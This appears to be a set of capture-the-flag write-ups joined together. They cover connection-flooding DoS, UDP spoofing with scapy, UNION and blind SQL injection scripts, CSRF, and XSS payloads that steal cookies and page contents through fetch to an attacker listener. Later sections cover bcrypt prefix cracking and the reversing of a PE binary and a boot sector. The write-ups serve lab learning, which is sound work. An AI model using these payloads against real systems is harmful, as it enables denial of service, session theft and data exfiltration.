for i in {1..500}; doexec {fd}<>/dev/tcp/10.0.0.2/31337 2>/dev/null; done
forking server DoS
server uses ForkingTCPServer, client prints flag on
timeout. flood with ghost connections that hold sockets open:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import socket, threading, time
defghost_connection(): whileTrue: try: with socket.socket() as s: s.settimeout(0.1) s.connect(("10.0.0.2", 31337)) s.settimeout(5.0) s.recv(1) # hold connection open except Exception: pass
for _ inrange(100): threading.Thread(target=ghost_connection, daemon=True).start() whileTrue: time.sleep(1)
scapy
CTF 环境中主机通过 veth pair 连接到 Linux
Bridge(二层交换机)。Bridge 会学习 Source MAC 并记录到 CAM 表,全零 MAC
或非法多播地址会被内核作为 Martian MAC 直接丢弃。必须使用真实 MAC
地址才能让包通过。
raw packets
1 2 3 4 5 6 7 8 9 10
from scapy.allimport send, sendp, Ether, IP, TCP
# L2 - ethernet frame (must use real source MAC) sendp(Ether(src="aa:98:41:69:f7:79", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")
# L3 - IP packet with custom protocol send(IP(dst="10.0.0.2", proto=0xff), iface="eth0")
# L4 - TCP with specific fields send(IP(dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"), iface="eth0")
ans = sr1(IP(dst="10.0.0.2") / UDP(sport=31337, dport=31337) / Raw(b"Hello, World!\n")) print(ans[Raw].load)
UDP spoofing
common pattern: server(10.0.0.3:31337) responds NONE to
ACTION?, client(10.0.0.2) polls server. spoof a
FLAG response from port 31337 to make client print the
flag.
spoofing 1 - client on fixed port 31338, expects
b"FLAG":
1 2 3
from scapy.allimport sr1, Raw, IP, UDP ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG")) print(ans[Raw].load)
spoofing 2 - client expects
FLAG:host:port, sends flag back to that address:
1 2 3
from scapy.allimport sr1, Raw, IP, UDP ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG:10.0.0.1:31337")) print(ans[Raw].load)
spoofing 3 - client on random port, scapy
sr1 can’t match the reply. brute-force all ports with raw
socket:
1 2 3 4 5 6 7 8 9 10 11
import socket, sys
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(("0.0.0.0", 31337)) s.settimeout(3.0)
for port inrange(1, 65535): s.sendto(b"FLAG:10.0.0.1:31337", ("10.0.0.2", port))
spoofing 4 - client also checks
peer_host == "10.0.0.3", so our source must be 10.0.0.3.
but the flag reply goes to FLAG:host:port which we control.
use nc listener in background on the same session:
SELECT username FROM users WHERE username LIKE """" UNIONSELECT password FROM users --"
1 2
curl -G "http://challenge.localhost:80/" \ --data-urlencode 'query=" UNION SELECT password FROM users --'
sqli 4 - table enumeration +
UNION
enumerate table names first, then extract:
1 2 3 4 5 6 7 8
# find table name curl -G "http://challenge.localhost:80/" \ --data-urlencode 'query=" UNION SELECT name FROM sqlite_master WHERE type="table" --' # -> users_8141651746
# extract password from discovered table curl -G "http://challenge.localhost:80/" \ --data-urlencode 'query=" UNION SELECT password FROM users_8141651746 --'
sqli 5 - blind SQLi
vulnerable query uses f-string interpolation:
1 2
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'" user = db.execute(query).fetchone()
admin’s password is the flag. no direct output – need blind
extraction.
naive attempt fails because AND has higher precedence than OR:
1 2 3
# password=' or substr(password,1,1)='p' -- # parses as: (username='admin' AND password='') OR (substr(...)='p') # this matches ANY user when substr is true, not just admin
blind extraction script – check one char at a time,
OR username='admin' AND substr(...) ensures we only match
admin:
defblind_sql(): result = "" for pos inrange(1, 60): for char in charset: payload = f"' OR username='admin' AND substr(password,{pos},1)='{char}' --" resp = requests.post(url, data={"username": "admin", "password": payload}, timeout=5) if resp.status_code != 403and resp.status_code != 500: result += char print(f" [+] Current extracted: {result}") break return result
if __name__ == "__main__": print(f" [+] Extracted: {blind_sql()}")
admin’s unpublished draft contains the flag. published posts render
raw HTML. /publish is GET.
1 2 3
@app.route("/publish", methods=["GET"]) defchallenge_publish(): db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
login as hacker, store XSS that makes admin’s browser call
/publish, which publishes admin’s flag draft:
In this level, the application has a /publish route that
uses a GET request to change the state of the application
(publishing drafts). Since GET requests should ideally be
idempotent and not change state, this is a classic CSRF
vulnerability.
Analysis
The server-side code for the /publish route:
1 2 3 4 5 6 7 8
@app.route("/publish", methods=["GET"]) defchallenge_publish(): if"username"notin flask.session: flask.abort(403, "Log in first!")
# Vulnerability: State change via GET request with no CSRF protection db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")]) return flask.redirect("/")
Exploit
We can host a simple HTML page that redirects the victim (the admin)
to the /publish endpoint. When the admin visits our page,
their browser will automatically include their session cookies when
following the redirect to challenge.localhost.
Trigger the victim to visit your server:
/challenge/victim
The admin’s drafts are now published. Fetch the flag:
1 2
curl -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337" curl "http://challenge.localhost:80/"
CSRF Level 2: POST-based CSRF
The /publish route now requires a POST
request. While this prevents simple link-based triggers, it doesn’t stop
CSRF if there are no CSRF tokens or origin checks.
Exploit
We use an HTML form that automatically submits itself via JavaScript
to perform the POST request on behalf of the admin.
Login and check the published posts to find the flag.
CSRF Level 3: Reflected XSS
This level introduces a reflected XSS vulnerability in the
/ephemeral route. The msg parameter is
rendered directly into the page without sanitization.
Analysis
1 2 3 4 5 6 7 8 9
@app.route("/ephemeral", methods=["GET"]) defchallenge_ephemeral(): returnf""" <html><body> <h1>You have received an ephemeral message!</h1> The message: {flask.request.args.get("msg", "(none)")} <hr><form>Craft an ephemeral message:<input type=text name=msg action=/ephemeral><input type=submit value=Submit></form> </body></html> """
Exploit
We can inject a script tag through the msg
parameter.
Payload:
1 2 3 4 5 6 7
<script> let xss_payload = "<script>alert('PWNED')</s" + "cript>"; let target_url = "http://challenge.localhost:80/ephemeral?msg=" + encodeURIComponent(xss_payload); window.location.href = target_url; </script>
CSRF Level 4: Cookie
Stealing via XSS
Building on the previous level, we use the XSS vulnerability to steal
the admin’s session cookie.
Exploit
We inject a script that reads document.cookie and sends
it to our attacker-controlled listener.
Payload (index.html):
1 2 3 4 5 6 7 8 9
<script> let xss_payload = "<script>fetch('http://hacker.localhost:1338/?stolen_cookie=' + encodeURIComponent(document.cookie));</s" + "cript>"; let target_url = "http://challenge.localhost:80/ephemeral?msg=" + encodeURIComponent(xss_payload); window.location.href = target_url; </script>
Execution:
Listen for the incoming cookie: nc -l -p 1338
Host the payload and trigger the victim.
Once the cookie is captured (e.g., auth=admin|...), use
it to access the flag:
In this final level, we use XSS to fetch the content of the admin’s
home page (where the flag is displayed) and send the entire HTML back to
our listener.
Exploit
The payload performs an internal fetch('/') while the
admin is authenticated, then POSTs the response body to the
attacker.
// Data Exfiltration via URL echo '<script src="/submit"></script><script>window.location="http://localhost:1337/?stolen="+flag;</script>' > ~/public_html/solve.html
// Exfiltration using Fetch echo '<script>fetch("/gateway").then(r=>r.text()).then(d=>window.location="http://localhost:1337/?stolen="+d);</script>' > ~/public_html/solve.html
3. Program Misuse (GTFOBins)
Techniques for reading restricted files (like /flag) via
unexpected program behavior.
A secret flag is safely hidden away within client-side scripts. We
were told JavaScript is an insecure medium for secret storage, so we
decided to use C++ instead.
[0x0000019a]> iz [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――――― 92 0x000098d9 0x000098d9 24 25 data ascii OrpheanBeholderScryDoubt 96 0x00009979 0x00009979 64 65 data ascii ./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 97 0x000099ba 0x000099ba 60 61 data ascii $2b$12$uAfq9EI1EoIC316VgA3azeOyogkKzG4zz2kF8M.l.D4h4nT4WsidK 98 0x000099f7 0x000099f7 60 61 data ascii $2b$12$NmhDm/LZzjanlv6xuHCsVe8JJNlvEb3uYUEQ03abPIlCuTE6qtrT. # ... 40 hashes total ...
Obviously the flag is stored as a series of bcrypt hashes, which are
all prefixed with $2b$12$.
Cracking the Flag
If we test single characters, we can see that the flag start with 2,
but the next character is unknown.
Since the hashes are cumulative, each one validates the entire flag
prefix up to that point. We can recover the flag by brute-forcing each
character in sequence and appending it to the previously discovered
string.
for i, h inenumerate(hashes): print(f"[*] Cracking index {i:2d}... ", end="", flush=True) for c in charset: if bcrypt.checkpw((flag + c).encode(), h): flag += c print(f"Found: {c} | Current: {flag}") break else: print("Failed to crack.") break
We stored the flag within this binary, but made a few errors when
trying to print it. Can you make use of these errors to recover the
flag?
Overview
1 2
❯ file flag_errata.exe flag_errata.exe: PE32+ executable for MS Windows 5.02 (console), x86-64 (stripped to external PDB), 9 sections
A PE64 binary (GCC 7.3 / MinGW-w64) with a monstrous 53KB
main function. It prompts for a 40-character password,
validates each character through error-code accumulation, then returns
-247 on any mismatch.
Each character block calls N consecutive functions from this
cycle, accumulates the error codes, then checks sum % 126
against the input.
Algebraic Solution
The key insight: since the error codes cycle deterministically, we
can bypass the Windows environment entirely and solve this as pure
modular arithmetic.
I use Arch BTW.
Let:
$S = \sum_{k=0}^{12} e_k$, the sum
of one full cycle (all 13 error codes)
$P(r) = \sum_{k=0}^{r-1} e_k$, the
partial sum of the first r
codes
The flag format 247CTF{...} gives us 8 known characters
for free. Three of them — blocks 2, 3, 6 — share the same remainder
r = 9: same position in the
error-code cycle, different lap counts. Shared P(9) cancels on subtraction.
Same process with the remaining known characters fills all partial
sums:
P(r)
Value
Source
P(3)
10
'2' (ASCII 50)
P(4)
16
e3 = 6
P(5)
34
e4 = 18
P(6)
58
'4' (ASCII 52)
P(7)
90
'T' (ASCII 84)
P(9)
45
'7' (ASCII 55)
P(10)
42
'F' (ASCII 70)
P(12)
99
e10, e11
With S and all P(r) determined, every
character computes directly:
Block
Calls
q
r
Calculation
Char
0
16
1
3
(40 + 10) mod 126
2
7
191
14
9
(560 + 45) mod 126
e
9
109
8
5
(320 + 34) mod 126
f
15
285
21
12
(840 + 99) mod 126
9
20
298
22
12
(880 + 99) mod 126
a
39
35
2
9
(80 + 45) mod 126
}
All 40 characters land in the valid charset — 247CTF{
prefix, [0-9a-f] hex body, } suffix —
confirming the solution without ever running the binary.
Character-by-Character
Breakdown
Block
Calls
q
r
Formula
Char
0
16
1
3
(1*40+10)%126=50
2
1
45
3
6
(3*40+58)%126=52
4
2
217
16
9
(16*40+45)%126=55
7
3
139
10
9
(10*40+45)%126=67
C
4
46
3
7
(3*40+90)%126=84
T
5
101
7
10
(7*40+42)%126=70
F
6
321
24
9
(24*40+45)%126=123
{
7
191
14
9
(14*40+45)%126=101
e
8
280
21
7
(21*40+90)%126=48
0
9
109
8
5
(8*40+34)%126=102
f
10
19
1
6
(1*40+58)%126=98
b
11
256
19
9
(19*40+45)%126=49
1
12
109
8
5
(8*40+34)%126=102
f
13
241
18
7
(18*40+90)%126=54
6
14
215
16
7
(16*40+90)%126=100
d
15
285
21
12
(21*40+99)%126=57
9
16
17
1
4
(1*40+16)%126=56
8
17
215
16
7
(16*40+90)%126=100
d
18
217
16
9
(16*40+45)%126=55
7
19
215
16
7
(16*40+90)%126=100
d
20
298
22
12
(22*40+99)%126=97
a
21
285
21
12
(21*40+99)%126=57
9
22
280
21
7
(21*40+90)%126=48
0
23
215
16
7
(16*40+90)%126=100
d
24
217
16
9
(16*40+45)%126=55
7
25
12
0
12
(0*40+99)%126=99
c
26
38
2
12
(2*40+99)%126=53
5
27
12
0
12
(0*40+99)%126=99
c
28
191
14
9
(14*40+45)%126=101
e
29
109
8
5
(8*40+34)%126=102
f
30
16
1
3
(1*40+10)%126=50
2
31
217
16
9
(16*40+45)%126=55
7
32
12
0
12
(0*40+99)%126=99
c
33
16
1
3
(1*40+10)%126=50
2
34
109
8
5
(8*40+34)%126=102
f
35
45
3
6
(3*40+58)%126=52
4
36
217
16
9
(16*40+45)%126=55
7
37
285
21
12
(21*40+99)%126=57
9
38
17
1
4
(1*40+16)%126=56
8
39
35
2
9
(2*40+45)%126=125
}
Anti-Analysis
TLS Callbacks: Two callbacks
(0x401C50, 0x401C20) execute before
main — a common anti-debug vector.
53KB of bloat: Up to 321 API calls per character,
making manual static analysis impractical without scripting.
Environment sensitivity: Functions like
CreateProcessA and SetConsoleDisplayMode
return different error codes under a debugger, making dynamic analysis a
trap. The algebraic approach sidesteps this entirely by reasoning at the
mathematical level, independent of the Windows runtime.
# Initialize the state at entry initial_state = project.factory.entry_state( add_options = { angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY, angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS } )
simulation = project.factory.simgr(initial_state)
# Explore searching for the print_flag function and avoiding no_flag # print_flag: 0x08048596 # no_flag: 0x8048609 simulation.explore(find=0x08048596, avoid=0x8048609)
if simulation.found: solution_state = simulation.found[0] print(f"Found solution: {solution_state.posix.dumps(sys.stdin.fileno()).decode()}") else: raise Exception('Could not find the solution')
if __name__ == "__main__": solve('./angr-y_binary')
Execution
Running the script gives us the password:
1 2
❯ python solve.py wgIdWOS6Df9sCzAfiK
Connecting to the server with the found password:
1 2 3
❯ nc 0c4c28058a1f7a2f.247ctf.com 50230 Enter a valid password: wgIdWOS6Df9sCzAfiK
The 55 aa signature at the end confirms it is a standard
boot sector.
Boot Sector Fundamentals
When a computer powers on and completes the Power-On Self-Test
(POST), the BIOS reads the first sector (512 bytes) of the disk into
physical memory between 0x7C00 and
0x7DFF. It then sets the CPU’s Instruction Pointer
(IP) to 0x7C00 to begin execution.
Therefore, the base address of this program in
memory is 0x7C00. When performing static
analysis or debugging, any hardcoded physical addresses must have
0x7C00 subtracted to find their corresponding file
offset.
Static Analysis and Memory
Mapping
Analyzing the assembly code reveals two critical memory
locations:
1. Flag Ciphertext Area
(0x7DAA)
Calculate the file offset: 0x7DAA − 0x7C00 = 0x01AA
Looking at the hex dump at 0x01AA:
The
ciphertext indeed begins here, with the first 7 bytes representing the
247CTF{ prefix.
2. Input Buffer (0x7DEC)
Calculate the file offset: 0x7DEC − 0x7C00 = 0x01EC
The region of null bytes before the 55 aa signature is used
directly as a buffer for keyboard input.
Core Logic Deconstruction
Focusing on sub_1016A in IDA (the primary decryption
logic):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
seg000:016B mov bx, 7DECh ; BX points to the input buffer seg000:016E mov si, 7DAAh ; SI points to the start of the ciphertext seg000:0171 add si, 7 ; Skip "247CTF{"
; Validate the first input character and decrypt seg000:0174 mov al, 4Bh ; 'K' seg000:0176 xor al, 0Ch ; AL = 0x4B ^ 0x0C = 0x47 ('G') seg000:0178 cmp [bx], al ; Check if input[0] == 'G' seg000:017A jnz loc_1027C ; Jump to failure if not equal
; Decrypt ciphertext using the validated char in AL seg000:017E xor [si], al ; XOR decryption seg000:0180 inc si seg000:0181 xor [si], al ; Each input char decrypts TWO bytes seg000:0183 inc bx seg000:0184 inc si
Logic Summary: 1. The program requires a
16-character unlock code. 2. Each character is validated via
arithmetic/logical operations (XOR, ADD, SUB). 3. Validated characters
serve as XOR keys to decrypt the subsequent ciphertext region. 4. Each
key character decrypts 2 bytes of ciphertext.
Solution Script
We can simulate the assembly operations to recover the unlock code
and then use it to XOR the ciphertext bytes.